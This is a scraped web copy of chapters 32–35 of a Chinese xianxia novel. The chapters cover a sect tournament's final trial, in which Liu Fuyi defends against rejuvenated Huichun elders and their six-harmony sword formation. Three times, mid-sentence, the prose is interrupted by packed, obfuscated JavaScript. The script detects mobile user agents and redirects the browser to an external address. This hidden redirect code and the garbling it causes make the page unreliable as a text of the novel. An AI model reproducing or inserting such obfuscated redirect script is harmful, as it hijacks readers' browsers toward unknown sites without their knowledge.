顾元香赶紧用袖子撸了两把,把脸上的蛋液处理干净。她蹲下身,捏着人犯的下巴一抬,那张熟悉的脸就出现在她面前。 文柔?! 大弟子念诵完毕,写着罪状的卷轴就递到元香手边。 “她是生是死,只在你一念之间。” 天象有异,六月飞雪,人心相背,那文柔还需要死吗? 顾元香盯着那封卷轴,上面赫然两道灵力留下的印记。这就是第十关的关窍,所有人都充当审判者,不得不站在柳伏意的立场上做出自己的选择。 她接过卷轴,文柔的所有过往便一个接一个地钻进她脑中。女子的苦难,坚韧,温柔……跃然纸上。 越了解她,就越是不想让她死。 数不尽的画面划过,横亘在喧闹人群之后的是只有顾元香能看见的一行大字。 苍劲有力的字迹将她触犯的天理写的一清二楚,“当死”二字尤为醒目。 32. 宗门大比(十二) 元香望着昭然不可违的天理,仿佛坠入茫无边际的深海,手边连块浮木都寻不到。 这就是柳伏意面临的困境吗?顾元香暗暗垂了垂眸,她想起那天甲字询问室中,文柔忍无可忍的质问。 她说,“你们这帮修仙的人是真的很烦啊,为什么都想拯救我?现在这样的生活就是在揭我的伤疤,你要是不能放了我,就给我个痛快,你听不听得懂啊?” 伏意处死文柔之后,心情一直很不好。她不是真心想让文柔死的,或许有些旁人说不上来的原因。 顾元香的目光聚集在两道灵力上,决定犯人生或死两个字像是同样写就了她的生门与死门。 台下的谩骂声还在继续,甚至有人想要劫囚。暴乱一触即发,顾元香终于下定决心。 “我不知道林秋池或者天理希望我怎么做,但我知道伏意会怎么选。” 她在“生”上落笔。 “就算她要死,也不该是弃尸街头悬尸示众。” 顾元香抬头望着灿阳,眼神愤然,指着天便是一顿叫骂。 “你太过分了!伏意处死文柔一不许人辱她尸身,二不让她示众保她名节,闹到现在被骂成这样都没有一点申诉辩解。文柔这个名字,这个长相,根本是少有人知!你凭什么让所有人陪你玩这个审判游戏!你儿子真心喜欢的姑娘你就这样让她一次次地重复被处死的命运吗?!” 顾元香一把将文柔拉起来,愤怒之余极尽轻柔地替她解开四肢上的禁锢。哪怕知道面前的人只是幻象,她也觉得心如刀绞。 为什么死了还要因为这些人的心怀鬼胎被拉出来鞭尸。 她掉下一滴眼泪,混在鹅毛大雪之中,晶莹如玉。 第九关在透彻的风雪中散去,她面前站着等候许久的林秋池。 他说:“你是第五个。” 顾元香冷冷地瞪他一眼,从他身旁经过,轻飘飘地扔下一句话。 “你除了年龄,没有一点比得上柳伏意。” * 从清云峰的登山之阶再到宁仙居最后走到白石广场,俨然是将清云峰围着转了一圈。 顾元香不敢耽搁,她前面已经有四个人,说不准就会出什么状况。她拖着近乎脱力的双腿一阶阶攀爬,就连贪生怕死都在识海中聊起了天。 “她怎么突然发疯了一样?在迷宫被追的时候意志力都没有这么强。” “可能是那个人对她很重要吧。” 顾元香懒得搭理,以自己最快的速度,爬也爬到白石广场上去。 第十关开启之后偌大的白石广场便整个上浮移至清云峰最边缘,从凌霄殿望过去便是最好的观战视角。她一站在广场上,就有一阵轻柔的灵力自然将她带了上去。 柳伏意已经拔剑和四人打了起来,剑光之间胜负立分。四人本还有些不甘心,奈何连武器都被震断,毫无还手之力,只能灰溜溜地自己下台了。 伏意见顾元香来了,面上尽是惊喜,收剑迎了上去,笑意清浅,柔和渡人:“我们元香还是很厉害的嘛,都到最后一关了~” “后面五关感觉有胆子运气好就能过,你指不定今天要打多少人呢。我不知道我怎么样才能帮上你,但你……” 她吸了吸鼻子,哭腔油然而生。 “你保命最重要。” 柳伏意抬手替她拂去眼泪,大大咧咧地宽慰她说:“宗门大比来的虽然说是各派天骄,但和我比起来还是差一截的啦~就算是车轮战,我都不怕的。哭什么?” 凌霄殿外,阮长风沈听寒玄易齐齐抱臂观望,都不由疑惑了一下。 今年宗门大比这么水吗?连元香都能闯到第十关? 沈听寒手指划过观影石,浮现出其余弟子闯关的画面。粗略算了算,从第七关观月长老那儿开始就折损了许多人,再加上第八关横山尊者看透本心藏无可藏,又是减掉一批。 照这样算下来,真的能挺进第十关的估摸着也不超过二十人。 庆钰他们就站在三人身边,比起这三人的云淡风轻来倒是眉头紧锁。庆钰头一次出现这样苦大仇深的表情,惹得张风华都没忍住肘了他一把。 “事已至此,你做都做了,不如相信伏意。” 庆钰冷笑一声:“那姑娘能进第十关,衡阳观月横山都放水了。他们为什么放水你难道不清楚吗?” 话音不大不小传进阮长风沈听寒玄易的耳朵里,三人齐齐转头紧盯着清云另三子,不由分说地逼近了几步。 张风华猛地被沈听寒这种温柔公子揪了衣领,一惯卖弄的风度都忘了。 “到底怎么回事?!怎么会严重到这个地步!观月长老算卦从来没出错过!”沈听寒顾忌着台上二人的心情故意压低声音,张风华无奈地一捋刘海,将沈听寒的手从自己领子上拽下来。 他舒了口气,眼神从左扫到右,把面前五个人都看过一遍之后才说:“因为今年的魁首嘉礼是无诤印。” 无诤印?! 阮长风及时补充:“无诤印是回春派的秘宝,传闻说回春派的秘术能够让人一夜回春,容貌体力灵力术法都能够达到顶级。而施展秘术的前提就是他们世代相传的无诤印,此物寓意平和共生,甚至于是长生不死。” 这种等级的宝物是无论如何都不应该摆在宗门大比上的,怎么说也有些小题大做。 那么背后的推手很明显了。 三人的目光一道落在张风华身上,逼人的寒气让他不由往后退了几步:“别这样看我啊……我也不是故意的,师父这么吩咐我就这么做了。” 他干笑几声转移大家的注意力:“无诤印要是落在灵剑派不是很好吗?说不定掌门师父和小五都能够长生不死呢?” 玄易凝眸盯着远处廖然单薄的两个身影,语调怆然严肃至极。 “无诤印是回春派的镇派之宝,那你猜猜他们会为了无诤印做到什么地步。” 阮长风实在想不通,问道:“既然回春派知道无诤印对他们的重要性,怎么可能答应你把印拿出来当奖励?就算是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031385|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以多胜少的惯例,他们也绝对会翻脸不认人吧?” 张风华吞了几口唾沫,眼看着五人不像是会放过他的样子,暗暗叹了一口气,将五人一起引到一处无人的侧厢房中。他给庆钰使了个眼色,庆钰憋着满肚子气抬手就给房间布了个威力狂暴的杀阵。 “因为掌门手里有回春派的把柄,涉及上百人的生死,回春派背不起,只能言听计从了。” 他坐在桌上,絮絮叨叨地从很多年前开始细数。 “就是几十年前那次灵剑派险些灭门的危机,杂谈中只说是锁妖塔妖邪脱出危害了整个门派。其实不尽然,锁妖塔可是灵剑派历代掌门花费毕生灵力制成的,塔里用的还是千年玄铁,光封印大阵就足够让十二派一起喝一壶的。” 凌浅越接下去:“是有人存心破坏了阵法,放了妖出来。” 玄易将前因后果一联系,思路格外顺畅:“是回春派的人纵妖袭人?” 张风华抿了抿唇,说:“不算,回春派中由三大世家联合看管无诤印,一是掌门陈怀春所在的陈家,陈家普遍灵力高强,回春派六大长老全都是陈家人。二是黄家,根基深厚手眼通天。三是楼家,富可敌国累世通好。” 提到楼家,沈听寒阮长风不免朝玄易看去一眼。玄易始终容色淡淡,像楼家和他毫无关系。 “当年陈怀春的儿子陈望轩爱上了一只妖,那只妖食人肉啖人血,因而被抓进锁妖塔受刑赎罪。陈望轩一时鬼迷心窍,偷走无诤印破坏了锁妖塔的阵法。他事先和女妖约好,只凿出一个小洞来带她远走高飞,没想到玄铁被陈怀春的剑捅破后就根本补不回去。整个锁妖塔的妖怪全都逃了出来,灵剑派因此近乎被灭了门。” 这段秘辛张风华是第一次说,毕竟第十关近在眼前,他再瞒下去也只会伤及同门情谊。 他道:“师父的无情道就是那时候碎的,因为他出手杀了陈望轩。这小子算不上心眼坏,更算不上有罪,只是太蠢了。但就是蠢人灵机一动为情所困,害了师父上百位同门的性命。” 凌浅越自然知道这其中做了什么样的美化,她一一列举回春派当年的所作所为:“回春派事发之后将陈望轩的消息瞒的密不透风,以楼家当时的家主楼琛为代表,用一个很匪夷所思的数字买通了师父。金山银山如水流,帮他重建了一个更大更气派的灵剑派,也就是如今的模样了。” 后头的代价呼之欲出。 “作为交换,林秋池必须认定锁妖塔之祸是天灾,和回春派没有任何关系。这些年灵剑派和回春派相安无事,但说起来,回春派总归被抓着把柄更加弱势一些。” 张风华耸肩一笑略显无奈:“但是咱们师父反悔了呗,现在拿这个把柄噎住了回春派,硬是让他们把无诤印交出来了。给不夜天透题也是门派之间博弈的结果,不夜天因此倒向灵剑派,一起逼迫回春派交印。” 怎么听都不像是名门正派会做的事情啊。五人沉默半晌,才听得张风华说:“相信伏意吧,年轻一辈里,她应当是天下第一了。” 33. 宗门大比(十三) 片刻过后,一连数十位不同门派的少年闯上阵来,柳伏意将元香往身后一拉,她自然而然地被面前的掠阵者忽视。 十多位少年少女对了个眼神,齐齐将柳伏意围在中间,伏意的一举一动都能够被他们收归眼底。 顾元香寻了一处隐蔽之所躲起来,众人目睹她如此作为也没人真的要去和她计较。 “管那小婆娘做什么?!只要杀了柳伏意,魁首就是我们了!”不夜天掌门的小弟子张龙怒喝一声,率先劈下一刀。 刀锋凌厉狂霸,生生在比武台上留下了一道难以磨灭的刀痕。 张龙大话说的顺口,凌霄殿中各位天骄的师父闻言也都灰着脸。要是没见过记忆珠的画面便罢了,偏偏是见过了,才知道他们以如今的修为硬拼柳伏意是多么荒谬大胆。 柳伏意若是存了杀心,搞不好最后一关当真要血流成河。 不夜天掌门路文德本是与林秋池互通有无后才对本门弟子寄予厚望的,可他哪能料到,即便是改了最后一关的赛制,不纠结守擂者以一敌多,他们仍然是被林秋池坑了一把。 路文德阴沉着脸,扫到林秋池的表情是何其志得意满。 一切都在按照他的谋算进行,第九关还剩下一日半的空档,只要这时间一过,他就能够顺理成章地拿到无诤印。 他们灵剑派,就更是其他仙门望尘莫及的存在了。 路文德望着白石广场之上,张龙几招之间已经被逼的握刀的手都发颤,不由出声提醒了一句。 “林兄,你我本是同一根绳上的,想必你徒弟也不会与我门下弟子为难,非要杀了他们不可吧?” 不夜天得了题,又提前为此做足了准备,通过第九关的人也是最多的。原本有多么欣喜,如今就有多么懊悔。 要是她不留手,不夜天以后的前程可就栽在场上了。 张龙、李安、唐幻、白淼淼身着不夜天显眼的一身紫衣,被几招有力的剑术逼得不得不后退。十人说起来是一起通过第九关的,可毕竟分属于不同的流派,旁的六人只站在旁边观望,只待抓住柳伏意的偏漏之处偷袭致胜。 林秋池只是轻轻抿了口茶,事不关己似地望了一眼柳伏意的方向,道:“路兄,宗门大比的切磋比试向来是生死自担的啊。况且伏意也才十九岁,和他们又没差多少。技不如人,便只能自认倒霉了。” 言下之意,他并不会理会柳伏意的处置方式。 路文德冷嗤一声,攥着太师椅的扶手生生要把手边那块红木给捏的粉碎。 到了最后一关的紧要关头,前几日不曾露面的掌门也都陆陆续续到场了。 合欢宗、回春派、不夜天、御兽门、万佛殿、药王谷、千息门、开阳宗、两昆仑、锦绣坊、妙音阁,真正的修界十二派齐聚,盛况如此,生平罕见。 而越是不寻常,沈听寒他们就越是心慌。 “千息门掌门冯千息的消息最为灵通,不出大事,她不会出山。”沈听寒凛然道。 玄易点点头,目光停在殿内那位衣冠楚楚的佛修身上:“慧静大师也是如此。听说开阳宗的掌门宫屿也擅卜卦测算,他们应当是算到了什么才来的。” 此间种种,全都直指不远处比武台上的柳伏意和年轻弟子。 凌霄殿内虽是人数不少,却也没有人再开口说话了。众位掌门眼看着柳伏意一个横扫,剑气肆意,将几位弟子生生震出了比武台之外。 路文德挺直身子望了望,见他门下四个弟子都只是拍了拍灰就站起身来,暗暗松了口气。 看来柳伏意比她师父林秋池有良心,只伤不杀。 唐幻被扫下比武台,恨恨地抬眸望了一眼其余六人。他们已经提着各自的武器冲上前去了,有四人为前车之鉴,他们为各自门派单打独斗是绝无可能赢过柳伏意的,倒不如把柳伏意打倒之后再分彼此间的胜负。 妙音阁林灵一展衣袖,清幽绝俗的琴音便从她指下缓缓淌出。这曲子是掌门梅昭亲自谱的,能够以自己的琴意为阵,限制阵中人的灵力取用。 哪怕对修为相差悬殊之人并无实际的伤害,但光是时时刻刻听着这曲子,也难免头痛欲裂不能专心。 林灵始终处在一个距离柳伏意较远的位置弹琴辅助,剩下五人之中两人出自两昆仑,两人来自御兽宗,一人来自开阳宗。两昆仑的二人擅剑法,各自拔剑近了身,御兽宗的二位也不含糊,嘴里嘟囔几句兽语,随身的法器中便冲出各自的灵兽来。 顾元香探头小小地望了一眼,一只九曲蛇缠人凶猛,一只琅琊象一脚就能把人踩成肉泥。 眼看着伏意就要落入下风,顾元香立刻翻出齐冷玉给她的锦囊,翻来翻去第一眼就锁定了一张神行符。 “敢仗着人多欺负我师姐,我炸死你们!” 她攥着几张符纸,猛力将神行符用自己的灵力烧了,便觉得浑身气血沸腾,速度快的人一时不察都只能看见她的残影。 顾元香闪身绕到九曲蛇和琅琊象旁边,迅雷不及掩耳之势在蛇尾和象鼻上各贴了一张符。大事将成,她扭身抱头躲在一处巨石之后,片刻之后,预想中的九天惊雷并没有出现,只听见不远处传来几句撕心裂肺的呼喊—— “我靠!我的九曲蛇!?” “象象!!你去哪呀!!” 她小心翼翼地探出头来,九曲蛇和琅琊象各自甩尾甩鼻子都没能抖掉身上那张黄符,着急忙慌地恨不得长出手来,未及主人来撕符,它们便在众人眼皮子底下一飞冲天。 众人:“???” 怎会如此啊? 顾元香缩了回去,定睛看了一眼手上剩下的符纸,“雷符”背后齐冷玉贴心地为她写好了备注——“飞天符”。 顾元香尴尬地嘴角跳了跳,迅速把几张飞天符塞回锦囊里。 算了,总归效果差不多。 “元香师姐真是个天生的搅屎棍。”玄易由衷认为,顾元香把一切搞砸的能力不容小觑,她说不定就是各位大能算卦路上唯一预测不准的变数。 眼看着灵兽失踪,御兽宗的二位早没了心思,他们宗主张雪蚕说了,任何情况下都是自己的灵兽最要紧。二位互相对了一眼,自个儿跳下比武台追着灵兽的踪迹去了。 张雪蚕见了也只是淡淡地笑了一声,逗弄着手上那只人脸鹦鹉,对齐冷玉道:“你这个徒孙很有意思嘛,知道打蛇打七寸。” 齐冷玉耐性不好,嫌恶地扫了一眼他手上那只人脸鹦鹉,没好气道:“能不能把你这个恶心玩意儿拿远点?” 张雪蚕抬手替鹦鹉顺顺毛,像是故意拔了它一根毛,煞有介事地哎呦一声送给齐冷玉,语气欠揍道:“鹦鹉喜欢你,想送它的羽毛给你,意为求偶。你接了它的羽毛就得给它生蛋~” 齐冷玉脸色一沉,沉湘琴倏忽间就亮在了腿上。 “不接受就不接受嘛,琴魔有什么好的。”他自言自语似地把鹦鹉尾羽收进怀里,嘟囔几句鸟语让人脸鹦鹉回了法器之中。 两个偌大的灵兽走后,比武台上又是一片一览无遗。柳伏意早已掐咒屏除琴音对她的影响,心清神静,百思皆明,提剑就朝两昆仑的剑修攻过去。 一招惊鸿照影,飞身而去凌空掠过,目不所及便将两位反身一扫给打下了台。 战局陡然逆转,林灵自知再弹下去也是无用功,索性还有一位开阳宗的拖住柳伏意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054046|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她转了转眼珠,将心思打到了顾元香身上。 林灵悄然挪步至顾元香藏身的巨石之后,举起琴来正要给她当头一捶,就被顾元香速度极快地躲开了。 她忘记这家伙身上还有神行符了。 顾元香伸手轻轻一推,林灵就抱着她的琴从比武台边缘坠下,有梅昭给的护身符她倒也没摔着,只是抬头望见顾元香笑嘻嘻的表情气不打一处来。 要不是有灵剑派的师父师叔护着,她怕是早就下台了吧?! 顾元香也不傻,登时换了个地方蹲着,眼下形势大好,开阳宗的这位定然不是伏意的对手。似乎齐冷玉预言的惨状当真就不会再出现了…… 她刚松了口气,便听得清云峰某处悍然倒塌的声音。林秋池稳居殿中,猝不及防地吐出一小口血来。 沈听寒立刻上前搭脉,灵力运转过他全身,只是一些细小的内伤罢了。尤其像是他的什么禁制被人强行破开,一瞬间功力反震到他身上之后的结果。 沈听寒从袖中掏出一颗丹药来递过去:“您吃这个就没事了。” 林秋池拿过药来吞下,快步赶到殿前去,眼中尽是不可置信。 “怎么会……” 齐冷玉连忙追着他的脚步过去,沉声道:“师兄,怎么了?” “第九关,塌了。” 这意味着,再也不会有人能到达第十关了。 话音甫落,比武台上骤然出现六位年轻人,毫不犹豫地在柳伏意与开阳宗弟子缠斗时拔剑。 那剑锋一拐,冲着开阳宗邝舒的后背刺去。 宫屿本闭目捻着手中的玉核桃,他算觉不对猛然睁眼,只见柳伏意身形一顿竟是情急之下甩了剑,转而拉了一把邝舒的手腕将她扯向自己怀里。 二人一同倒地,邝舒磕痛了手肘,吃痛之余似乎也没想到柳伏意会如此作为。可当下显然不是能够分神的时刻,柳伏意紧接着推了一把她的肩膀让她避开了直冲心口而来的第二剑。 天命剑被旁人拾起,林秋池的脸色黑的不能再黑。 邝舒正要上前对上一对,就听见识海之中传来师父宫屿的声音。 “赶紧下来!这场面不是你能介入的了!” 邝舒立刻顺着师父的话退了下去。 柳伏意如今倒是赤手空拳,胸膛微震,喘着几口粗气。 “比试切磋罢了,没必要背后出手夺人性命这样阴毒吧?” 齐冷玉凝着林秋池的老脸,声调凌然半分情面都不讲:“第九关为什么塌了?!你到底在算计些什么!” 林秋池转身,冷冽沉重的目光停在回春派掌门陈怀春身上。 他冷笑,指着他鼻子道:“我竟是上了你的当?!” 陈怀春不紧不慢地放下嘴边的凉茶,朝齐冷玉挥了挥手:“观月长老,他怎么可能讲得出来呢?不如我来告诉你好了……” 他哈哈一笑,全然不顾身旁宫屿怨毒的几乎要杀人的眼刀,大摇大摆地张开双臂转了一圈。疯癫无状,如痴如狂。 他对林秋池怒吼道:“全都是你逼我的!只可惜你算错了,一夜回春的秘术并不是非要无诤印才能够施展的。一着不慎,满盘皆输啊林秋池~” 陈怀春拔剑,一剑刺在凌霄殿的地面上,以剑为中心的金色的巨阵陡然散开,逼得所有人为之一振。 陈怀春转身坐在凌霄殿主位上,笑意张狂不掩戾色。 “回春派六位长老返老还童迎战天命剑主,结果会如何呢?” “林秋池,你可看好了。” 陈怀春略微抬头,眼中倒映出白石台上那道碧蓝色的身影。 “柳伏意今日,必死无疑。” 34. 宗门大比(十四) 林秋池气血上涌,气急之下道心不稳。他硬顶着万化剑阵的威力,每行一步便有一柄剑悬在他喉间。 算准了陈怀春还不敢动他,林秋池步步稳健地来到他面前,和他商量道:“你要无诤印,我还你就是了。何必闹到这个地步,全修界都在此处,你难道要当着他们的面弃回春派的声名威望于不顾吗?!” 陈怀春自知万化剑阵决计困不住其余整整十一派的高手们,只不过聊做压制。 他花白的眉毛一蹙写成一个浓浓的八字,反唇相讥道:“无诤印本就是我回春派的镇派之宝,我们如今不也是按照你定的规矩来做的?谁过了第十关,谁就能拿走无诤印。” 他故意顿了顿,“你与其来和我白费口舌,不如多看你徒弟几眼。” 林秋池闻言额前青筋暴起怒不可遏,徒手一握化仙剑就在他手中显形。他迅速挥砍断开万化剑阵中迎面而来的攻击,蓄足了力气狠命一劈,盛然的灵力如龙似虎卷过去,陈怀春便和他一起喷出一大口血来。 其余人自知不能再观望下去,自动分为两派一边控制住一位。 万化剑阵被林秋池生生劈烂,阮长风几人带头冲出去,迎头在一道虚不可见的结界上撞了个结实。 庆钰紧随其后,停在结界之前伸手感应,眸光早已是暗的深不见底。 “这是陈怀春用元神做的玄光笼,我们出不去的。” 玄光笼阵如其名没有伤害,只是将人困住,陈怀春当然知道光靠灵力抵不过修界众人合力,索性用元神起阵。 威力巨大,灵力几乎不可撼动。 他就是要让林秋池作茧自缚,眼睁睁地看着自己算来算去一场空。 比武台上,柳伏意也认出六人的身份,她一掀眼皮略显不忿:“各位前辈都年过好几百了吧?一个人打我就够丢脸的了,还六个一起上?” 她闪身躲开迎面而来的飞剑,双指又倏然夹住冲她心口而来的另一把剑。 “各位前辈要不然自我介绍一下呢?”她一面躲一面发问,“剑修切磋前不是都要自报名讳的吗?” 柳伏意鲜少有这样话多的时候,六人也知道是她拖延之法,一点儿不给她喘息的余地。六人分散开去各占据一角各自举剑,六道青芒锁死八方。 庆钰望见剑锋青芒直入云霄,呼吸一滞,瞳孔瞬间灰了几度。 “那是回春派的杀阵绝学,六合剑阵……他们就是奔着杀人来的。” 阮长风猛撞几次玄光笼,这该死的笼子纹丝不动,他咬牙问道:“玄光笼就没办法破吗!?” 庆钰抿了抿唇,思虑再三。他的这个办法风险极大,如果真的要找一个人坦然赴死,那么最合适的人选就是…… 沈听寒。 “以一人元神与陈怀春元神相碰,元神相持或可撕开一个缺口。但这种办法相当于以卵击石,一不小心祭出元神的那位就会被击碎神魂当场毙命的。” 庆钰的眼神毫无转圜地盯住沈听寒,他拿准了,沈听寒是这其中最适合也最愿意为柳伏意牺牲的人。 阮长风拧着眉心道不好,下一瞬便听见身后传来沈听寒温然坚定的声音。 “我来吧,庆钰,你准备起阵。” 阮长风心一沉白眼都来不及翻,咬牙拎住沈听寒的衣领,恨不能给他几拳打醒他。 “你他妈逞什么能!你本来都身体虚弱得连剑术都学不来!生祭元神必死无疑的!!” 沈听寒眸色清冷,抬头望了一眼六人之中几次退却的碧色身影,推开他的手原地坐下,心如磐石。 “如果今天伏意死了,为了那把剑,修界数十年都再难有太平之日。” 他细微地眯了眯眼,笑意尽消:“所以无论付出多大的代价,她都绝对不能死。” 况且这满殿之中,真心实意毫无怨言肯为她赴死的,大约也只有他一个吧? 沈听寒有一瞬的神游,温然的笑意就重新攀上他眉眼。 以柳伏意那个性子,如果他真的为她死了,她一定会想念他一辈子。 阮长风心知沈听寒所言不虚,哪怕实在怨憎庆钰将矛头直指沈听寒,他也无奈只能妥协。 沈听寒运气将元神祭出,以庆钰为主,三峰长老及其余灵剑派的弟子全都将灵力灌入庆钰所成的阵法之中。玄光笼制作不易,饶是以元神去破也收效甚微,玄光笼星星点点地溶解,好似蚕食桑叶缓慢又磨人。 阮长风懊恼得看着面前的一片混乱,不知道为何事态就会发展至如今的地步。他身上所剩的灵力不多,哪怕全都灌给庆钰也是无济于事。 金光熠熠的牢笼之中,凌霄殿一片狼藉里,他的视角渐渐虚化抽离,和百年前他经历过的画面重合。 每个人的慌乱和无奈他都尽收眼底,与之不同的,是百年前他能够一剑破阵,为师弟师妹撑起一片天。 而现在,他竟然只能袖手旁观。 “如果我的道没有碎就好了。” 阮长风心中一痛,憋着喉头处撕裂的苦涩感,将泪意生吞下去,不忍目睹沈听寒元神出窍的痛苦,转头盯着比武台上愈加紧促的剑阵。 柳伏意的处境十万火急。 台上六人站位呈正六边形,各离九步为极阳数,天干地支相合。 地天泰卦象起,坤上乾下,天地交而万物通。 正北位于坎位的陈三刺剑入地,汹涌剑意泛着坤土之气拔然而起直突柳伏意下盘。 一式未落,正西兑位陈二又是一剑直指苍穹,乾天之气恢弘落下,与坤土之气赫然交合。 柳伏意位于其中如陷泥沼,举步维艰。 她脚步动弹不得,六人按照天干地支轮转之法挪步换卦。柳伏意拔簪刺破左手掌心,一道灵力裹挟着她的血液飞泄而出直奔被几道符纸封印的天命而去。 灵血同出唤醒剑灵,天命冲出桎梏,紧接着闯进六合剑阵的杀意之中。狂然剑意喷薄而出,切断了乾坤之间的交合之气,生生为她辟出一条生路来。 地天泰卦本就是六合剑阵的起势,哪怕被破了也不容乐观。 柳伏意一眼便锁定了中宫阵眼的方位,所谓六合剑阵必须要有一人主导五行变换,一方弱势便要有一方及时补足。 而行这主导之责的,可不就是六人之中的老大。 她直直地冲着陈大刺过去,阵型瞬息间变化。不知是幻象还是别的,陈家六位长老在阵中似乎是共用一张脸,让人根本分不清谁是谁。 “真不要脸。”她顾不得什么人设,明目张胆地朝六人啐了一口口水。 身前一片混乱之中春雷乍出裂土分疆,剑气穿云,生生不息。 “六合剑阵顺应卦象,只要是阵法必有弱点。”天命出声提醒,柳伏意额前滑落一滴汗来。 现下这个局面,她绝不可能单靠武力修为破阵了。 柳伏意沉了沉心就地坐下,天命悬剑身前为其护法,六合剑阵之中又起一道极其玄妙的护身之阵。 两阵相撞,狂放的天雷地火都被缥缈又锋利的灵力吞尽溶解,她坐于阵中调和气息,忍着四面八方的逼仄威压静心观察。 雷火愈发强劲,哪怕有神剑护法,强顶着如此铺天盖地的威势,她嘴角也不可避免地渗出血来。 再这样僵持下去,被六合剑阵困死就是迟早的事。 柳伏意凝视着面前呼天盖地的雷云,眼神倏然一亮,起身抬腕,抹尽唇角流淌出来的鲜血,沉声道出六合的法门。 “六合惧六冲,他这阵法五行相生亦相克,一位被毁四位必遭反噬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063683|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 眼看着雷火攻势不起作用,柳伏意又道出六合剑阵的弱点,六人迅速转步,意图将柳伏意直接置于惊门死位。 天命紧然道:“入惊门则六剑绞杀,他们是六个人合力,你要硬拼修为是肯定行不通的。” 困缚之卦将成,巽风坎水风行水上。东南长风而来,高高拂起她的长发。 柳伏意勾唇一笑:“我懂了。” 她飞身挪步猛踏阵中离火位,顺手抽走身前的天命,旋身错手,以垂锋守中势,剑起上撩破腹如雪鸿振翅。 “喂,巽为风对不对啊。” 她笑容隐隐,紧接着卯力一击掀动整个六合剑阵的离火之气。 “借你东风燃离火!” 离火与坎水相冲,水火既济反噬阵眼,陈大先支持不住呕出几口浓血来。狂然的火势剑意不仅冲击了陈大的肺腑,也将柳伏意震出老远。 她撞在一块巨石上,浑身筋脉一痛同样吐血不止。此招哪怕是动了脑筋借力打力,也将她伤得不轻。 顾元香自知六合剑阵必定不是她能闯进去的,观望许久也没有找到什么破局之法。柳伏意好巧不巧在她藏身之处喷血,她立刻探了个头将丹药塞给她:“师姐快吃!” 柳伏意眼见身旁突然窜出来一只白嫩嫩的手臂,掌心里卧着一颗白露丹。 白露丹堪称修界有价无市的灵药,放在药王谷也是数十年才得一颗,珍贵至极。 看来顾元香是做足了准备来的。 她舒出一口浊气,将白露丹嚼了嚼吞下去,又以灵力催发药效,肺腑和筋脉处的痛意便愈然平息。 陈家那六位就没有这样走运,六人东倒西歪,六剑绞杀之势未成,反而被借力打力由离火和坎水直击面门,陈大作为阵眼几乎是痛不欲生修为尽散的状态。 顾元香见似乎没什么危险了,将柳伏意扶起来,替她顺了顺背问:“这就破了阵啦?” “再不破阵我离死也不远了。”柳伏意喘了口虚气,靠着巨石舒缓片刻,抬眸问道,“各位前辈为何非要拿这个魁首嘉礼呢?全修界都在这看着,你们竟然还要不顾名声丢了脸面,返老还童来和我打一场。” 陈五狠呸了一声,擦去口角处的血渍,怒道:“分明是你灵剑派抢了我们回春派的无诤印!!贼喊捉贼到底谁不要脸!强抢他人的镇派之宝和强盗有什么分别!” “无……无诤印?” 陈六扶起陈大,注意到柳伏意面上的震惊不似伪装,眼神一转添油加醋道:“你师父想要返老还童与你争权啊,只有无诤印和我们回春派的秘术配合才能做到。如果不是他联合其他门派施压,我们何必拿六合剑阵对付你?!” 柳伏意回头望去,泫然牢笼笼罩着整个凌霄殿。 玄光笼上,陈怀春与沈听寒的元神纠缠相搏,大有你死我活的架势。 她眸光暗了几分。 “如果真的是无诤印,咱们是不是应该还给他们啊……?”顾元香小声道。 “你若放我们过第十关,我们自然不会再与你为敌了。”陈二道。 “是啊,本就是我们的东西,你有什么好守的?”陈三道。 她只侧目观望须臾便觉出不对劲来。 要真是只为拿无诤印,何必用玄光笼锁住所有人呢。 柳伏意剑刃微斜对准几人,默念咒文,天命散出的灵力就窜进她眼里。 六人身上,血色藤花由胸口处发芽攀升而上,蟒蛇似的死死缠绕着他们的躯体。以人身为杆,血藤周密如衣。 她微有怔愣,面色凝重,眼前景象便恰如梦魇褪色成现实。 回春派除了无诤印之外一定还有别的秘密。 而那秘密本身,或许正是他们回春之术的关键。 35. 宗门大比(十五) 柳伏意不多废话,她知道沈听寒身体虚弱,与陈怀春这种修界前辈以元神相碰,时间一长定然是损伤魂魄甚至暴毙而亡的下场。 只要她能脱身,将尚有余力的陈家五人全部打趴下,这玄光笼就没有破的必要了。 几人抬脸目光相接,战斗一触即发。 柳伏意面色一沉大步流星而上,几道剑招连番灌了下去。她来势凶猛,陈家五人却也不是吃素的,几次格挡挑剑扰乱了她的节奏。 剑式被破一乱一急便容易陷入五人的圈套,顾元香尚且没注意到伏意的进攻有什么漏洞,她身上已然多了几处汩汩冒血的剑伤。 